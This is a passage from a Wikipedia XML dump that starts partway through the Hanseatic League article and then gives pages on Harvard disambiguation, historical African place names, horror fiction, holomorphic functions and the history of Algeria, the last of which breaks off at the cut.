At the start of the 16th century, the League was in a weaker position than it had known for many years. The Baltic monopoly was being actively challenged by Dutch and English merchants. The rising [[Swedish Empire]] had taken possession of much of the Baltic. Denmark had regained control over its own trade, the Kontor in Novgorod had shut and the Kontor in Brugge was effectively defunct. The individual cities which made up the League had also started to put self interest before common good. Finally the political authority of the German princes was starting to grow and so constrain the indepence of action which the merchants and Hanseatic Towns had enjoyed.

The League attempted to deal with some of these issues. The League created the post of Syndic in [[1556]] and elected a permanent official with legal training, who worked to protect and extend the diplomatic agreements of the member towns. In [[1557]] and [[1579]] revised agreements were made spelling out the duties of towns and progress was made. The Brugge Kontor was moved to Antwerp and new routes attempted. However the League was unable to halt the progress around it and so started its long decline. The Antwerp Kontor was shut in [[1593]], the London Kontor in [[1598]]. The Bergen Kontor continued until [[1754]] and is the only Kontor still remaining (see [[Bryggen]]).

===The End===
By the late [[16th century]], the League imploded and was unable to deal with its own internal struggles, the social and political changes that accompanied the [[Reformation]], the rise of Dutch and English merchants, and the incursion of the [[Ottoman Turks]] upon its trade routes and the Empire itself. Only nine members attended the last formal meeting in [[1669]] and only three (Lübeck, Hamburg and Bremen) remained as members until its final demise in [[1862]]{{fact}}.

Despite its demise, several cities still maintain the link to the Hanseatic League.  Even in the [[21st century]], the cities of [[Deventer]], [[Kampen, Netherlands|Kampen]], [[Zutphen]], [[Lübeck]], [[Hamburg]], [[Bremen (city)|Bremen]], [[Rostock]], [[Wismar]], [[Stralsund]], [[Greifswald]] and [[Anklam]] call themselves Hanse cities.  For Lübeck in particular, this anachronistic tie to a glorious past remained especially important in the second half of the [[20th century]]. Lübeck was also, as the other main cities, a &quot;[[Free and Hanse City]]&quot; as is still, for example [[Bremen (city)|Bremen]]. This privilege was removed through the [[Gesetz über Groß-Hamburg und andere Gebietsbereinigungen|''Greater Hamburg Act, 1937'']] by the [[Nazi Party|Nazis]] after the Senat of Lübeck did not permit [[Adolf Hitler]] to speak in Lübeck during his election campaign {{fact}}. He held the speech in [[Bad Schwartau]], a small village on the outskirts of Lübeck. He later referred to Lübeck always as &quot;the small city close to Bad Schwartau&quot;.

===Gallery of Maps===
&lt;gallery&gt;
Image:First.Crusade.Map.jpg|Europe in 1097
Image:Scandinavia in 1219.GIF|Baltic region 1219 (German coast occupied by Denmark, before the [[Battle of Bornhöved (1227)]]
Image:Europein1328.png|Europe in 1328
Image:Europe in 1430.PNG|Europe in 1430
Image:Europe in 1470.PNG|Europe in 1470
Image:Danmark-Norway in 1646, Treaty of Brömsebro.gif|Baltic region 1646 ([[Treaty of Brömsebro]])
Image:Denmark-Norway in 1658, Treaty of Roskilde.GIF|Baltic region 1658 ([[Treaty of Roskilde]])
Image:Danmark-Norge i 1814, Wienerkongressen..GIF|Baltic region 1814 ([[Congress of Vienna]])
&lt;/gallery&gt;

==Lists of former Hanse cities==
In the list that follows, the role of these foreign merchant companies in the functioning of the city that was their host, in more than one sense is, as [[Fernand Braudel]] pointed out in ''The Perspective of the World'', a telling criterion of the status of that city: &quot;If he rules the roost in a given city or region, the foreign merchant is a sign of the [economic] inferiority of that city or region, compared with the economy of which he is the emissary or representative.


===Members of the Hanseatic League===
====Wendish and Pomeranian Circle====
[[Image:Map_danavirki.JPG|340px|thumb|Cities of the Wendish and Pommeranian Circle]]
*[[Lübeck]] (Chief City)
*[[Hamburg]]
*[[Lüneburg]]
*[[Rostock]]
*[[Stade]]
*[[Szczecin|Stettin]] (Szczecin)
*[[Stralsund]]
*[[Wismar]]
*[[Kiel]]

====Saxony, Thuringia, Brandenburg Circle====
*[[Braunschweig]] (Brunswick, Chief City)
*[[Berlin]]
*[[Bremen (city)|Bremen]]
*[[Erfurt]]
*[[Frankfurt an der Oder]]
*[[Goslar]]
*[[Magdeburg]]

====Poland, Prussia, Livonia, Sweden Circle====
*[[Gdańsk|Danzig]] (Gdańsk, Chief City)
*[[Wrocław|Breslau]] (Wrocław)
*[[Tartu|Dorpat]] (Tartu)
*[[Viljandi|Fellin]] (Viljandi)
*[[Elbląg|Elbing]] (Elbląg)
*[[Kaliningrad|Königsberg]] (Królewiec, Kaliningrad)
*[[Tallinn|Reval]] (Tallinn)
*[[Riga]]
*[[Stockholm]]
*[[Toruń|Thorn]] (Toruń)
*[[Visby]]
*[[Kraków]]

====Rhine, Westphalia, Netherlands Circle====
*[[Cologne]] (Chief City)
*[[Roermond]]
*[[Deventer]]
*[[Dortmund]]
*[[Groningen (city)|Groningen]]
*[[Kampen]]
*[[Osnabrück]]
*[[Soest, Germany|Soest]]

===Counting Houses===
====Principal ''Kontore''====
[[Image:Brygge Norway 2005-08-18.jpg|thumb|right|300px|Bryggen in Bergen/Norway]]
*[[Bergen, Norway|Bergen]] - [[Bryggen]]
*[[Brugge|Bruges]]
*[[London]] - [[Steelyard]]
*[[Novgorod]]

====Subsidiary ''Kontore''====
*[[Antwerp]]
*[[Boston, Lincolnshire|Boston]]
*[[Damme]]
*[[Edinburgh]]
*[[Kingston-upon-Hull|Hull]]
*[[Ipswich]]
*[[King's Lynn]]
*[[Kaunas]]
*[[Newcastle upon Tyne|Newcastle]]
*[[Polotsk]]
*[[Pskov]]
*[[Great Yarmouth]]
*[[York]]

===Other cities with a Hanse community===
&lt;table border=0 cellpadding=3 cellspacing=0&gt;&lt;tr valign=top&gt;&lt;td&gt;
*[[Anklam]]
*[[Arnhem]]
*[[Bolsward]]
*[[Brandenburg]]
*[[Cesis]] (Wenden)
*[[Chełmno]] (Kulm)
*[[Doesburg]]
*[[Duisburg]]
*[[Einbeck]]
*[[Göttingen]]
*[[Greifswald]]
*[[Halle, Saxony-Anhalt|Halle]]
*[[Harlingen]]
*[[Hannover]]
*[[Herford]]
*[[Hildesheim]]
*[[Hindeloopen]]
*[[Kalmar]]
*[[Koknese]] (Kokenhusen)
*[[Kuldīga]] (Goldingen)
*[[Lemgo]]
*[[Merseburg]]
&lt;td&gt;
*[[Minden]]
*[[Münster]]
*[[Narva]] (Narwa)
*[[Nijmegen]]
*[[Paderborn]]
*[[Pärnu]] (Pernau)
*[[Perleberg]]
*[[Quedlinburg]]
*[[Salzwedel]]
*[[Smolensk]]
*[[Stargard Szczeciński]] (Stargard)
*[[Stendal]]
*[[Turku]] (Åbo)
*[[Tver]]
*[[Valmiera]] (Wolmar)
*[[Ventspils]] (Windau)
*[[Viljandi]] (Fellin)
*[[Wesel]]
*[[Vyborg]] (Wiburg)
*[[Zutphen]]
*[[Zwolle]]&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

==See also==
* [[Thalassocracy]]

==Fictional references==
*A [[Saga of Seven Suns#Terran Hanseatic League (Hansa)|Terran Hanseatic League]] exists in [[Kevin J. Anderson|Kevin J. Anderson's]] science fiction series, ''[[Saga of Seven Suns]]''. The political structure of this fictional interstellar version is very similar to the historical Hanseatic League.
*In the [[Perry Rhodan]] SF series, the ''Cosmic Hansa'' (''Kosmische Hanse'') was a trade organisation covering the Galaxy.

==References==
*P. Dollinger ''The German Hansa'' (1970; repr.1999).
*Braudel, Fernand, ''The Perspective of the World,'' vol. III of ''Civilization and Capitalism'' 1984
*E. Gee Nash. ''The Hansa''. 1929 (Reprint. 1995 Edition, Barnes and Noble)

==External links==
* [http://www.hanse.org/ Hanseatic Towns Network]

[[Category:History of Europe]]
[[Category:Hanseatic League|!]]

[[ar:الرابطة الهانزية]]
[[cs:Hanza]]
[[da:Hanseforbundet]]
[[de:Hanse]]
[[et:Hansa Liit]]
[[es:Liga Hanseática]]
[[eo:Hansa Ligo]]
[[fr:Hanse]]
[[io:Hansa-uniono]]
[[it:Lega Anseatica]]
[[he:ברית ערי הנזה]]
[[la:Hansa]]
[[hu:Hanza-szövetség]]
[[nl:Hanze]]
[[nds:Hanse]]
[[ja:ハンザ同盟]]
[[no:Hansaen]]
[[pl:Hanza]]
[[pt:Liga Hanseática]]
[[ru:Ганзейский союз]]
[[fi:Hansaliitto]]
[[sv:Hansan]]
[[zh:汉萨同盟]]</text>
    </revision>
  </page>
  <page>
    <title>Harvard (disambiguation)</title>
    <id>14107</id>
    <revision>
      <id>39031577</id>
      <timestamp>2006-02-10T06:03:45Z</timestamp>
      <contributor>
        <username>Jwy</username>
        <id>674008</id>
      </contributor>
      <minor />
      <comment>Harvard, MA is a town, not a city.</comment>
      <text xml:space="preserve">[[Harvard University]] is a university in Cambridge, Massachusetts, USA.


'''Harvard''' may also refer to:
* [[John Harvard (clergyman)]], a clergyman for whom Harvard University is named
* [[John Harvard (politician)]], the Lieutenant-Govenor of [[Manitoba]]
* [[Harvard College]], the undergraduate division of Harvard University
* [[Harvard Square]], a square in Cambridge, Massachusetts surrounding the Harvard University campus
* [[Harvard (MBTA station)]], the subway station located in Harvard Square
* [[Harvard, Illinois]], a city in the United States
* [[Harvard, Massachusetts]], a town in the United States
* [[Harvard architecture]], a type of computer architecture
* [[Harvard Boulevard]], a street in Los Angeles, California
* [[Harvard Bridge]], a bridge over the Charles River near the Massachusetts Institute of Technology
* [[Harvard Graphics]], an early breaking computer software for handling diagrams
* [[Harvard Mark I]], an early digital computer
* [[Harvard referencing]], a citation style developed by Harvard University
* [[North American Harvard]], the Royal Air Force name for the T-6 Texan advanced trainer aircraft

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Historical African place names</title>
    <id>14108</id>
    <revision>
      <id>31048183</id>
      <timestamp>2005-12-12T13:59:08Z</timestamp>
      <contributor>
        <username>Astrokey44</username>
        <id>413045</id>
      </contributor>
      <text xml:space="preserve">This is a list of '''historical African place names'''. The names on the left are linked to the corresponding subregion(s) from [[History of Africa]].

* [[Abyssinia]] - [[History of Ethiopia|Ethiopia]]
* [[Africa (province)]] - [[History of Tunisia|Tunisia]]
* [[Barbary Coast]] - [[History of Algeria|Algeria]]
* [[Bechuanaland]] - [[Botswana]]
* [[Belgian Congo]] - [[Democratic Republic of the Congo]]
* [[Carthage]] - [[History of Tunisia|Tunisia]]
* [[Central African Empire]] - [[Central African Republic]]
* [[Congo Free State]] - [[Democratic Republic of the Congo]]
* [[Equatoria]] - [[History of Sudan|Sudan]] and [[History of Uganda|Uganda]]
* [[Fernando Poo]] - [[Bioko]]
* [[French Congo]] - [[Gabon]] and [[Republic of the Congo]]
* [[French Equatorial Africa]] - [[Chad]], [[Central African Republic]], [[Gabon]], [[Republic of the Congo]]
* [[French Sudan]] - [[Mali]]
* [[French West Africa]] - Mauritania, Senegal, French Sudan (now Mali), Guinea, Côte d'Ivoire, Niger, Upper Volta (now Burkina Faso) and Dahomey (now Benin)
* [[German East Africa]] - [[Tanzania]]
* [[German South West Africa]] - [[Namibia]]
* The [[Gold Coast (British colony)|Gold Coast]] - [[Ghana]]
* [[Guinea (disambiguation)|Guinea]]
* [[Malagasy Republic]] - [[Madagascar]]
* [[Monomotapa]] - 
* [[Middle Congo]] - [[Republic of the Congo]]
* [[Nubia]] - [[History of Sudan|Sudan]] and [[History of Egypt|Egypt]]
* [[Nyasaland]] - [[Malawi]]
* [[Portuguese Guinea]] - [[Guinea-Bissau]]
* [[Rhodesia]] - [[Zimbabwe]] and [[History of Zambia|Zambia]]
* The [[Slave Coast]] - [[Benin]]
* [[South-West Africa]] - [[Namibia]]
* [[Spanish Sahara]] - [[Western Sahara]]
* [[Upper Volta]] - [[Burkina Faso]]
* [[Zaire]] - [[Democratic Republic of the Congo]]

'''See also:''' [[List of extinct countries, empires, etc.]]

[[Category:Place names]]
[[Category:Africa]]</text>
    </revision>
  </page>
  <page>
    <title>Horror fiction</title>
    <id>14109</id>
    <revision>
      <id>41750486</id>
      <timestamp>2006-03-01T13:56:16Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">:''This article is about horror fiction. For the [[1989]] [[video game]], see [[Horror Story (video game)]].''

'''Horror fiction''' is, broadly, [[fiction]] in any medium intended to scare, unsettle or horrify the reader. Historically, the cause of the &quot;horror&quot; experience has often been the intrusion of an evil, or occasionally misunderstood, [[supernatural]] element into everyday human experience.  Since the 1960s, any work of fiction with a morbid, gruesome, [[Surrealism|surreal]], exceptionally [[suspense]]ful or frightening theme has come to be called &quot;horror.&quot;  Horror fiction often overlaps with [[science fiction]] and/or [[fantasy]], all of which have sometimes been placed under the umbrella category [[speculative fiction]]. See also [[supernatural fiction]].

== Early horror fiction ==

[[Fictional character]]s have found themselves in horrifying situations from the earliest recorded tales. Many [[Mythology|myth]]s and [[legend]]s feature scenarios and [[archetypes]] used by later horror writers. Tales collected by the [[Grimm Brothers]] are often quite horrific.

Modern horror fiction found its roots in the [[gothic novel]]s that exploded into popularity in the late 18th and early 19th centuries, typified by [[Ann Radcliffe]]'s ''The Mysteries of Udolpho'' and [[Horace Walpole]]'s ''The Castle of Otranto''.  A variation on the Gothic formula that remains one of the most enduring and imitated horror works is [[Mary Wollstonecraft Shelley]]'s novel ''[[Frankenstein]]'' (1818, revised version 1831). ''Frankenstein'' has also been considered [[science fiction]] or a [[philosophy|philosophical]] novel by some literary historians.  At the same time, [[John William Polidori]] devised the kind of [[vampire]] story that has since become familiar with his novella ''[[The Vampyre]]''. This kind of supernatural character, combining evil with sinister charm, has since been much used and elaborated by horror writers.

Later gothic horror descendants included seminal late 19th century works such as [[Bram Stoker]]'s ''[[Dracula]]'' and [[Henry James]]'s ''[[The Turn of the Screw]]''. Early horror works used mood and subtlety to deliver an eerie and otherworldly flavor, but usually eschewed extensive explicit violence.

Other early exponents of the horror form number such luminaries as [[Edgar Allan Poe]] and [[H. P. Lovecraft]] who are widely considered to be masters of the art. Among the writers of classic English [[ghost]] stories, [[M.R. James]] is often cited as the finest. His stories avoid shock effects and often involve an [[Oxford]] [[antiquarian]] as their hero. [[Algernon Blackwood]]'s ''The Willows'' and [[Oliver Onions]]'s ''The Beckoning Fair One'' have been called the best ghost stories. Lovecraft and [[Sheridan le Fanu]] called some of their writing '''weird fiction''' or '''weird stories'''.

Some stories  in highbrow &quot;literary&quot; fiction could arguably be regarded as horror narratives: examples include [[Franz Kafka]]'s &quot;[[The Metamorphosis]]&quot; (''Die Verwandlung'') and &quot;[[In the Penal Colony]]&quot; (''In der Strafkolonie'') and [[William Faulkner]]'s ''[[A Rose for Emily]]''.

== Contemporary horror fiction ==

Some modern practitioners of the genre have resorted to vivid depictions of extreme violence to shock or entertain their audiences, often recalling [[grand guignol]] theatre (see [[splatterpunk]]). This development has given horror fiction a stigma as base entertainment devoid of [[literary merit]]. Other writers, such as [[Ramsey Campbell]] and [[Thomas Ligotti]], are cited as rejecting the portrayal of violent acts in favor of more subtle, psychological writing.

Nevertheless, contemporary writers such as [[Dean Koontz]], [[Clive Barker]] in ''[[Imajica]]'' and [[Stephen King]] in his more considered works, such as ''[[Misery]]'', are capable of bringing off the horror effect without the excessive violence that characterises much of the current mainstream of this genre.

== See also ==

* [[Horror film]]
* [[List of horror fiction authors]]
* [[Ghost story]]
* [[Psychological horror]]
* [[Body horror]]
* [[Internet Speculative Fiction DataBase]]

==External links==
* [http://gaslight.mtroyal.ab.ca/superhor.htm &quot;Supernatural Horror in Literature&quot; essay by H. P. Lovecraft on horror fiction antecendents]
* [http://www.awardannals.com/genre/horror/ Most Honored Horror Books] at [[Book Award Annals]]
;Horror fiction sites
* {{dmoz|Arts/Literature/Genres/Horror/|Horror fiction}} 
* [http://www.mydevilswork.com Devil's Work]
[[Category: Speculative fiction]]
[[Category:Horror|*]]
[[Category:Literary genres]]

[[bg:Роман на ужаса]]
[[he:ספרות אימה]]
[[ja:ホラー小説]]
[[pt:Terror (gênero)]]
[[fi:Kauhukirjallisuus]]
[[sv:Skräck]]
[[zh:恐怖小說]]</text>
    </revision>
  </page>
  <page>
    <title>Holomorphic function</title>
    <id>14110</id>
    <revision>
      <id>38380081</id>
      <timestamp>2006-02-05T23:22:48Z</timestamp>
      <contributor>
        <username>Duckbill</username>
        <id>678615</id>
      </contributor>
      <minor />
      <comment>/* Several variables */ disambiguate &quot;disk (mathematics)&quot; (using empty pipe syntax)</comment>
      <text xml:space="preserve">'''Holomorphic functions''' are the central object of study of [[complex analysis]]; they are [[function (mathematics)|functions]] defined on an [[open set|open subset]] of the [[complex number|complex number plane]] '''C''' with values in '''C''' that are complex-differentiable at every point. This is a much stronger condition than [[derivative|real differentiability]] and implies that the function is [[smooth function|infinitely often differentiable]] and can be described by its [[Taylor series]]. The term '''''[[analytic function]]''''' is often used interchangeably with &quot;holomorphic function&quot;, although note that the former term has several other meanings. A function that is holomorphic on the whole complex plane is called an [[entire function]].  The phrase &quot;holomorphic at a point ''a''&quot; means not just differentiable at ''a'', but differentiable everywhere within some open disk centered at ''a'' in the complex plane. '''Biholomorphic''' means a holomorphic function with a holomorphic [[inverse function]].

== Definition ==

If ''U'' is an [[open set|open]] subset of '''C''' and ''f'' : ''U'' &amp;rarr; '''C''' is a function, we say that ''f'' is ''complex differentiable'' at the point ''z''&lt;sub&gt;0&lt;/sub&gt; of ''U'' if the [[limit (mathematics)|limit]]

:&lt;math&gt;f'(z_0) = \lim_{z \rightarrow z_0} {f(z) - f(z_0) \over z - z_0 } &lt;/math&gt;

exists. 

The limit here is taken over all [[sequence]]s of ''complex'' numbers approaching ''z''&lt;sub&gt;0&lt;/sub&gt;, and for all such sequences the difference quotient has to approach the same number ''f''&amp;nbsp;'(''z''&lt;sub&gt;0&lt;/sub&gt;).
Intuitively, if ''f'' is complex differentiable at ''z''&lt;sub&gt;0&lt;/sub&gt; and we approach the point ''z''&lt;sub&gt;0&lt;/sub&gt; from the direction ''r'', then the images will approach the point ''f''(''z''&lt;sub&gt;0&lt;/sub&gt;) from the direction ''f''&amp;nbsp;'(''z''&lt;sub&gt;0&lt;/sub&gt;) ''r'', where the last product is the multiplication of complex numbers.
This concept of differentiability shares several properties with [[derivative|real differentiability]]:
it is [[linear transformation|linear]] and obeys the product, quotient and chain rules.

If ''f'' is complex differentiable at ''every'' point ''z''&lt;sub&gt;0&lt;/sub&gt; in ''U'', we say that ''f'' is ''holomorphic on U''. We say that ''f'' is holomorphic in the point ''z''&lt;sub&gt;0&lt;/sub&gt; if it is holomorphic on some neighborhood of ''z''&lt;sub&gt;0&lt;/sub&gt;. We say that ''f'' is holomorphic on some non-open set ''A'' if it is holomorphic in an open set containing ''A''.

An equivalent definition is the following. A complex function &lt;var&gt;f&lt;/var&gt;(&lt;var&gt;x&lt;/var&gt; + &lt;var&gt;i&lt;/var&gt;&lt;var&gt;y&lt;/var&gt;) = &lt;var&gt;u&lt;/var&gt; + &lt;var&gt;i&lt;/var&gt;&lt;var&gt;v&lt;/var&gt; is holomorphic [[iff | if and only if]] it satisfies the [[Cauchy-Riemann equations]] and &lt;var&gt;u&lt;/var&gt; and &lt;var&gt;v&lt;/var&gt; have continuous first partial derivatives with respect to &lt;var&gt;x&lt;/var&gt; and &lt;var&gt;y&lt;/var&gt;.

== Examples ==

All [[polynomial]] functions in ''z'' with complex [[coefficient]]s are holomorphic on '''C''',
and so are the [[trigonometric function|trigonometric functions]] of ''z'' and the [[exponential function]].
(The trigonometric functions are in fact closely related to and can be defined via the exponential function using [[Eulers formula in complex analysis|Euler's formula]]).
The principal branch of the [[logarithm]] function is holomorphic on the [[set]] '''C''' - {''z'' &amp;isin; '''R''' : z &amp;le; 0}.
The [[square root]] function can be defined as 
:&lt;math&gt;\sqrt{z} = e^{\frac{1}{2}\ln z}&lt;/math&gt;
and is therefore holomorphic wherever the logarithm ln(''z'') is. The function 1/''z'' is holomorphic on {''z'' : ''z'' &amp;ne; 0}.

Typical examples of functions which are not holomorphic are [[complex conjugation]] and taking the [[real part]].

== Properties ==

Because complex differentiation is linear and obeys the product, quotient, and chain rules, the sums, products and compositions of holomorphic functions are holomorphic, and the quotient of two holomorphic functions is holomorphic wherever the denominator is non-zero. 

Every holomorphic function is infinitely often complex differentiable at every point. It coincides with its own [[Taylor series]] and the Taylor series converges on every open disk that lies completely inside the domain ''U''. The Taylor series may converge on a larger disk; for instance, the Taylor series for the logarithm converges on every disk that does not contain 0, even in the vicinity of the negative real line. See [[holomorphic functions are analytic]] for a proof.  

If one identifies '''C''' with '''R'''&lt;sup&gt;2&lt;/sup&gt;, then the holomorphic functions coincide with those functions of two real variables which solve the [[Cauchy-Riemann equations]], a set of two partial [[differential equation]]s.

Close to points with non-zero derivative, holomorphic functions are [[conformal map|conformal]] in the sense that they preserve angles and the shape (but not size) of small figures.

[[Cauchy's integral formula]] states that every holomorphic function inside a disk is completely determined by its values on the disk's boundary.

From an algebraic point of view the set of holomorphic functions on an open set is a [[commutative ring]] and a [[complex vector space]]. In fact, it is a [[locally convex topological vector space]], with the seminorms being the suprema on [[compact set|compact subsets]].  

==Several variables==

A complex analytic function of [[several complex variables]] is defined to be analytic and holomorphic at a point if it is locally expandable (within a [[polydisk]], a [[cartesian product]] of [[disk (mathematics)|disk]]s, centered at that point) as a convergent power series in the variables. This condition is stronger than the [[Cauchy-Riemann equations]]; in fact it can be stated 
as follows:

A function of several complex variables is holomorphic [[if and only if]] it satisfies the Cauchy-Riemann equations and is locally [[square-integrable]].

==Extension to functional analysis==
The concept of a holomorphic function can be extended to the infinite-dimensional spaces of [[functional analysis]]. The article on the [[Fréchet derivative]] reviews the concept of a holomorphic function on a [[Banach space]].

== Terminology ==

Today, many mathematicians prefer the term &quot;holomorphic function&quot; to &quot;analytic function&quot;, as the latter is a more general concept. This is also because an important result in complex analysis is that every holomorphic function is complex analytic, a fact that does not follow directly from the definitions. The term &quot;analytic&quot; is however also in wide use.

The word &quot;holomorphic&quot; derives from the Greek ''holos'' meaning &quot;whole&quot; and ''morphe'' meaning &quot;form&quot; or &quot;appearance&quot;.

==See also==
* [[Meromorphic function]]
* [[Entire function]]
* [[Antiholomorphic function]]

[[Category:Complex analysis]]

[[de:Holomorphie]]
[[es:Función holomorfa]]
[[fr:Fonction holomorphe]]
[[it:Funzione olomorfa]]
[[he:פונקציה הולומורפית]]
[[ja:正則関数]]
[[ru:Голоморфная функция]]
[[sv:Analytisk funktion]]
[[zh:全纯函数]]</text>
    </revision>
  </page>
  <page>
    <title>History of Algeria</title>
    <id>14113</id>
    <revision>
      <id>41820841</id>
      <timestamp>2006-03-01T23:30:49Z</timestamp>
      <contributor>
        <username>CJLL Wright</username>
        <id>259138</id>
      </contributor>
      <comment>rvv to last by Descendall</comment>
      <text xml:space="preserve">{{History of Algeria}}

This article is an overview of the '''History of Algeria'''. Please refer to the individual sections of the series for more complete commentary.

==Historical setting==
=== Geography ===
In geography, the fertile coastal plain of [[North Africa]], especially west of [[Tunisia]], is often termed the [[Maghreb]].

=== Language and culture ===
Modern [[Algeria]] is mainly Arabic-speaking, but a large minority still speak the indigenous [[Berber]] language, surviving from [[Neolithic]] times.  The most significant forces in the country's history have been the spread of [[Islam]], Arabization, [[Ottoman Empire | Ottoman]] and French [[colonization]], and the struggle for independence. 

=== Origins and influences ===
[[North Africa]] served as a transit region for people moving towards [[Europe]] or the [[Middle East]].  Thus, the region's inhabitants have been influenced by populations from other areas.  Out of this mix developed the [[Berber]] people, whose language and culture, although pushed from coastal areas by conquering and colonizing [[Carthaginians]], [[Ancient Rome | Romans]], and [[Byzantine Empire|Byzantines]], dominated most of the land until the spread of [[Islam]] and the coming of the [[Arab]]s.

=== Islamisation ===
The introduction of [[Islam]] and [[Arabic language | Arabic]] had a profound impact on North Africa (or the [[Maghreb]]) beginning in the seventh century.  The new religion and language introduced changes in social and economic relations, established links with a rich culture, and provided a powerful idiom of political discourse and organization.  From the great Berber dynasties of the [[Almoravid]]s and [[Almohad]]s to the militants seeking an Islamic state in the 1990s, the call to return to true Islamic values and practices has had social resonance and political power.  For 300 years, beginning in the early sixteenth century, [[Algeria]] was a province of the [[Ottoman Empire]] under a regency that had [[Algiers]] as its capital (see [[Dey]]).  During this period, the modern Algerian state began to emerge as a distinct territory between [[Tunisia]] and [[Morocco]].  Algeria and surrounding areas, collectively known as the [[Barbary States]], were responsible for [[piracy]] in the [[Mediterranean Sea]], as well as the enslaving of [[Christian]]s, actions which brought them into the [[First Barbary War | First]] and [[Second Barbary War]] with the [[United States of America]].

=== French period ===
The [[France | French]] occupation of [[Algeria]], beginning in [[1830]], while having a profound impact, was immediately met by a rebellion led by [[Abdel Kadir]].  In addition to enduring the affront of being ruled by a foreign, non-Muslim power, many Algerians lost their lands to the new government or to colonists.  Traditional leaders were eliminated, coopted, or made irrelevant, and the traditional educational system was largely dismantled; social structures were stressed to the breaking point.  Viewed by the Europeans with condescension at best and contempt at worst, the Algerians endured 132 years of colonial subjugation.  In the earlier part of the French colonization, native Muslims and Jews were viewed as French nationals, but not French ''citizens''.  However, in [[1865]], [[Napoleon III]] allowed them to apply for full French citizenship, a measure that few took, since it involved renouncing the right to be governed by ''[[sharia]]'' law in personal matters, and was considered a kind of [[apostasy]]; in 1870, French citizenship was made automatic for Jewish natives, a move which largely angered the Muslims, who began to consider the Jews as the accomplices of the colonial power.  Nonetheless, this period saw progress in health, some infrastructures, and the overall expansion of the economy of Algeria, as well as the formation of new social classes, which, after exposure to ideas of equality and political liberty, would help propel the country to independence.  During the years of French domination, the struggles to survive, to co-exist, to gain equality, and to achieve independence shaped a large part of the Algerian national identity.

=== Independence ===
During [[World War II]], Algerian troops fought with other [[Free French Forces]], on the [[Allies of World War II|Allied side]], but when the victory celebrations in 1945 escalated into demands for Algerian rights and [[independence]], the recently reinstated French government under [[de Gaulle]] suppressed the protests. The [[massacre]]s that followed marked a turning point in Algerian history.

In April 1945 the French had arrested the Algerian nationalist leader [[Messali Hadj]]. On [[May 1st]] the followers of his [[Parti du Peuple Algérien]] (PPA) participated in [[demonstration]]s which where violently put down by the police. Several Algerians were killed. But it was on [[May 8th]], when France celebrated [[Germany]]'s [[unconditional surrender]], that more deaths provoked a violent uprising by the Algerian population in and around [[Sétif]]. The army set villages on fire, and between 6,000 and 8,000 people were killed, according to [[Yves Bénot]]; other sources, including the present Algerian government, put the death toll as high as 50,000. Many nationalists drew the conclusion that independence could not be won by peaceful means, and so started organizing for violent rebellion.

The [[Algerian War of Independence]] (1954–62), brutal and long, was the most recent major turning point in the country's history. Although often fratricidal, it ultimately united Algerians and seared the value of independence and the philosophy of [[anticolonialism]] into the national consciousness. The systematic use of [[torture]] by the French did not secure military victory, and the abusive tactics of the [[French Army]] remains a controversial subject in France to this day.

Between 300,000 and 1 million Algerians are estimated to have died during the war, and an additional 2 or 3 million, out of a total [[Muslim]] population of 9 or 10 million, were made into refugees or forcibly relocated into government-controlled camps. Much of the countryside and [[agriculture]] was devastated, along with the modern [[Economic system|economy]], which had been dominated by urban [[Europe]]an [[settler]]s (the ''[[pied-noir]]s''). These nearly one million people of mostly French descent were forced to flee the country at independence due to the unbridgeable rifts opened by the civil war and threats from units of the victorious FLN; along with them fled Algerians of [[Jew]]ish descent and those Muslim Algerians who had supported a French Algeria (''[[harki]]s''). Post-war infighting, armed chaos and lynch trials of supposed traitors contributed to tens of thousands of deaths after the pullback of French troops, until the new Algerian government, led by [[Ben Bella]], was able to secure control.

=== Military rule ===
In 1965 the military toppled [[Ahmed Ben Bella]] and  [[Houari Boumedienne]] became head of state.  The military has dominated Algerian politics up to today.

==Chapters of the series==
'''Main article: [[Prehistory of Central North Africa]]'''&lt;br&gt;
The area which now consists of Algeria was settled by hunting people who left behind vivid cave paintings of a [[savanna]] region (now transformed into desert).

'''Main article: [[North Africa during the Classical Period]]'''&lt;br&gt;
Since the [[5th century BC]], the [[indigenous peoples]] of [[northern Africa]] (identified by the Romans as ''[[Berber]]s'') were pushed back from the coast by successive waves of [[Phoenicia]]n, [[ancient Rome|Roman]], [[Vandal]], [[Byzantine Empire|Byzantine]], [[Arab]], [[Turkey|Turkish]], and, finally, [[France|French]] invaders. 

'''Main article: [[Rise of Islam in Algeria]]'''&lt;br&gt;
The greatest cultural impact came from the Arab invasions of the 8th and 11th centuries A.D., which brought [[Islam]] and the [[Arabic language]]. The effects of the most recent (French) occupation &amp;mdash; [[French language]] and [[European]] inspired [[socialism]] &amp;mdash; are still pervasive.

'''Main article: [[History of Ottoman Algeria|Ottoman rule in Algeria]]'''&lt;br&gt;

'''Main article: [[French rule in Algeria]]'''&lt;br&gt;
North African boundaries have shifted during various stages of the conquests. The borders of modern Algeria were created by the French, whose [[colonization]] began [[1830]] (French invasion began on [[July 5]]). To benefit French colonists, most of whom were farmers and businessmen, northern Algeria was eventually organized into overseas departments of France, with representatives in the [[French National Assembly]]. France controlled the entire country, but the traditional Muslim population in the rural areas remained separated from the modern economic infrastructure of the European community.

'''Main article: [[Nationalism and resistance in Algeria]]'''&lt;br&gt;
A new generation of [[Muslim]] leadership emerged in Algeria at the time of [[World War I]] and grew to maturity during the 1920s and 1930s. Various groups were formed in opposition to French rule, most notable the [[National Liberation Front]] (FLN) and the [[National Algerian Movement]].

'''Main article: [[Algerian War of Independence]]'''&lt;br&gt;
Indigenous Algerians began their revolt on [[November 1]], [[1954]], to gain rights denied them under French rule. The revolution, launched by a small group of nationalists who called themselves the [[National Liberation Front]] (FLN), was a [[guerrilla warfare|guerrilla war]] in which both sides used [[terrorism|terrorist]] tactics. Eventually, protracted negotiations led to a cease-fire signed by France and the FLN on [[March 18]], [[1962]], at [[Evian, France]]. The [[Evian accords]] also provided for continuing economic, financial, technical, and cultural relations, along with interim administrative arrangements until a [[referendum]] on self-determination could be held. The Evian accords failed to protect the rights of minorities, leading to the exodus of one million ''pieds-noirs'' and ''harkis''.

'''Main article: [[History of Algeria since 1962]]'''&lt;br&gt;
